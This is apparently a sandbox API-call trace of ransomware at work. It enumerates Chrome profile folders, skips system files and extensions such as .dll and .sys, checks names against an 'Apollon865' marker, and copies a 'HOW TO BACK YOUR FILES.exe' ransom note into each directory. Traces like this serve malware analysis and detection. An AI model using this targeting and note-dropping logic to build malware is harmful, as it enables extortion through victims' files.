	[0047.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34349350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34349350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.196] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34349350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34349350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.196] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.196] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.196] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.196] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="Apollon865.txt.exe") returned 1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2=".") returned 1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="..") returned 1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="windows") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="bootmgr") returned 1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="temp") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="pagefile.sys") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="boot") returned 1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="ids.txt") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="ntuser.dat") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="perflogs") returned -1
	[0047.196] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="MSBuild") returned -1
	[0047.196] lstrlenW (lpString="ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 32
	[0047.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*") returned 102
	[0047.196] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="ghbmnnjooekpmoecnnnilnnbdlolhkhi"
	[0047.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0047.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10c) returned 0x5aa3c8
	[0047.196] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0047.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34349350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34349350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.196] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34349350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34349350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0047.197] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0047.197] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0047.197] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi"
	[0047.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0047.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0047.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 133
	[0047.197] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi"
	[0047.197] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.197] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34349350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34349350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.205] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.205] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.205] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.205] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34349350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34349350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.205] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.205] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.205] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.205] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.205] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86513570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="Apollon865.txt.exe") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2=".") returned 1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="..") returned 1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="windows") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="bootmgr") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="temp") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="pagefile.sys") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="boot") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="ids.txt") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="ntuser.dat") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="perflogs") returned -1
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2="MSBuild") returned -1
	[0047.205] lstrlenW (lpString="000003.log") returned 10
	[0047.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*") returned 135
	[0047.205] lstrcpyW (in: lpString1=0x2d3e65c, lpString2="000003.log" | out: lpString1="000003.log") returned="000003.log"
	[0047.205] lstrlenW (lpString="000003.log") returned 10
	[0047.205] lstrlenW (lpString="Apollon865") returned 10
	[0047.205] lstrlenW (lpString=".dll") returned 4
	[0047.205] lstrcmpiW (lpString1="000003.log", lpString2=".dll") returned 1
	[0047.206] lstrlenW (lpString=".lnk") returned 4
	[0047.206] lstrcmpiW (lpString1="000003.log", lpString2=".lnk") returned 1
	[0047.206] lstrlenW (lpString=".ini") returned 4
	[0047.206] lstrcmpiW (lpString1="000003.log", lpString2=".ini") returned 1
	[0047.206] lstrlenW (lpString=".sys") returned 4
	[0047.206] lstrcmpiW (lpString1="000003.log", lpString2=".sys") returned 1
	[0047.206] lstrlenW (lpString="000003.log") returned 10
	[0047.206] lstrcpyW (in: lpString1=0x2d3e65c, lpString2="CURRENT" | out: lpString1="CURRENT") returned="CURRENT"
	[0047.206] lstrlenW (lpString="CURRENT") returned 7
	[0047.206] lstrlenW (lpString="Apollon865") returned 10
	[0047.206] lstrlenW (lpString=".dll") returned 4
	[0047.206] lstrcmpiW (lpString1="CURRENT", lpString2=".dll") returned 1
	[0047.206] lstrlenW (lpString=".lnk") returned 4
	[0047.206] lstrcmpiW (lpString1="CURRENT", lpString2=".lnk") returned 1
	[0047.206] lstrlenW (lpString=".ini") returned 4
	[0047.206] lstrcmpiW (lpString1="CURRENT", lpString2=".ini") returned 1
	[0047.206] lstrlenW (lpString=".sys") returned 4
	[0047.206] lstrcmpiW (lpString1="CURRENT", lpString2=".sys") returned 1
	[0047.206] lstrlenW (lpString="CURRENT") returned 7
	[0047.206] lstrcpyW (in: lpString1=0x2d3e65c, lpString2="LOCK" | out: lpString1="LOCK") returned="LOCK"
	[0047.206] lstrlenW (lpString="LOCK") returned 4
	[0047.206] lstrlenW (lpString="Apollon865") returned 10
	[0047.206] lstrlenW (lpString=".dll") returned 4
	[0047.206] lstrlenW (lpString=".lnk") returned 4
	[0047.206] lstrlenW (lpString=".ini") returned 4
	[0047.206] lstrlenW (lpString=".sys") returned 4
	[0047.207] lstrlenW (lpString="LOCK") returned 4
	[0047.207] lstrcpyW (in: lpString1=0x2d3e65c, lpString2="LOG" | out: lpString1="LOG") returned="LOG"
	[0047.207] lstrlenW (lpString="LOG") returned 3
	[0047.207] lstrlenW (lpString="Apollon865") returned 10
	[0047.207] lstrlenW (lpString=".dll") returned 4
	[0047.207] lstrlenW (lpString=".lnk") returned 4
	[0047.207] lstrlenW (lpString=".ini") returned 4
	[0047.207] lstrlenW (lpString=".sys") returned 4
	[0047.207] lstrlenW (lpString="LOG") returned 3
	[0047.207] lstrcpyW (in: lpString1=0x2d3e65c, lpString2="MANIFEST-000001" | out: lpString1="MANIFEST-000001") returned="MANIFEST-000001"
	[0047.207] lstrlenW (lpString="MANIFEST-000001") returned 15
	[0047.207] lstrlenW (lpString="Apollon865") returned 10
	[0047.207] lstrcmpiW (lpString1="EST-000001", lpString2="Apollon865") returned 1
	[0047.207] lstrlenW (lpString=".dll") returned 4
	[0047.207] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".dll") returned 1
	[0047.207] lstrlenW (lpString=".lnk") returned 4
	[0047.207] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".lnk") returned 1
	[0047.207] lstrlenW (lpString=".ini") returned 4
	[0047.207] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".ini") returned 1
	[0047.207] lstrlenW (lpString=".sys") returned 4
	[0047.207] lstrcmpiW (lpString1="MANIFEST-000001", lpString2=".sys") returned 1
	[0047.207] lstrlenW (lpString="MANIFEST-000001") returned 15
	[0047.207] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld"
	[0047.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0047.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0047.207] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld") returned 92
	[0047.207] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld"
	[0047.207] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.211] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.211] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3436f4b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3436f4b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.211] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.211] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.211] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3436f4b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3436f4b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.211] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.211] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.211] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.211] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2B03.tmp", cAlternateFileName="")) returned 1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2="Apollon865.txt.exe") returned -1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2=".") returned 1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2="..") returned 1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2="windows") returned -1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2="bootmgr") returned -1
	[0047.211] lstrcmpiW (lpString1="2B03.tmp", lpString2="temp") returned -1
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2="pagefile.sys") returned -1
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2="boot") returned -1
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2="ids.txt") returned -1
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2="ntuser.dat") returned -1
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2="perflogs") returned -1
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2="MSBuild") returned -1
	[0047.212] lstrlenW (lpString="2B03.tmp") returned 8
	[0047.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*") returned 94
	[0047.212] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="2B03.tmp" | out: lpString1="2B03.tmp") returned="2B03.tmp"
	[0047.212] lstrlenW (lpString="2B03.tmp") returned 8
	[0047.212] lstrlenW (lpString="Apollon865") returned 10
	[0047.212] lstrlenW (lpString=".dll") returned 4
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2=".dll") returned 1
	[0047.212] lstrlenW (lpString=".lnk") returned 4
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2=".lnk") returned 1
	[0047.212] lstrlenW (lpString=".ini") returned 4
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2=".ini") returned 1
	[0047.212] lstrlenW (lpString=".sys") returned 4
	[0047.212] lstrcmpiW (lpString1="2B03.tmp", lpString2=".sys") returned 1
	[0047.212] lstrlenW (lpString="2B03.tmp") returned 8
	[0047.212] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="2B04.tmp" | out: lpString1="2B04.tmp") returned="2B04.tmp"
	[0047.212] lstrlenW (lpString="2B04.tmp") returned 8
	[0047.212] lstrlenW (lpString="Apollon865") returned 10
	[0047.212] lstrlenW (lpString=".dll") returned 4
	[0047.212] lstrcmpiW (lpString1="2B04.tmp", lpString2=".dll") returned 1
	[0047.212] lstrlenW (lpString=".lnk") returned 4
	[0047.212] lstrcmpiW (lpString1="2B04.tmp", lpString2=".lnk") returned 1
	[0047.212] lstrlenW (lpString=".ini") returned 4
	[0047.212] lstrcmpiW (lpString1="2B04.tmp", lpString2=".ini") returned 1
	[0047.212] lstrlenW (lpString=".sys") returned 4
	[0047.212] lstrcmpiW (lpString1="2B04.tmp", lpString2=".sys") returned 1
	[0047.212] lstrlenW (lpString="2B04.tmp") returned 8
	[0047.213] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons"
	[0047.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1698 | out: hHeap=0x580000) returned 1
	[0047.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0047.213] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons") returned 89
	[0047.213] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons"
	[0047.213] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.213] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.219] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.219] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3436f4b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3436f4b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.219] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.219] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.219] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.219] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3436f4b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3436f4b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.219] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.219] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.219] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.219] lstrcmpiW (lpString1="..", lpString2="..") returned 0
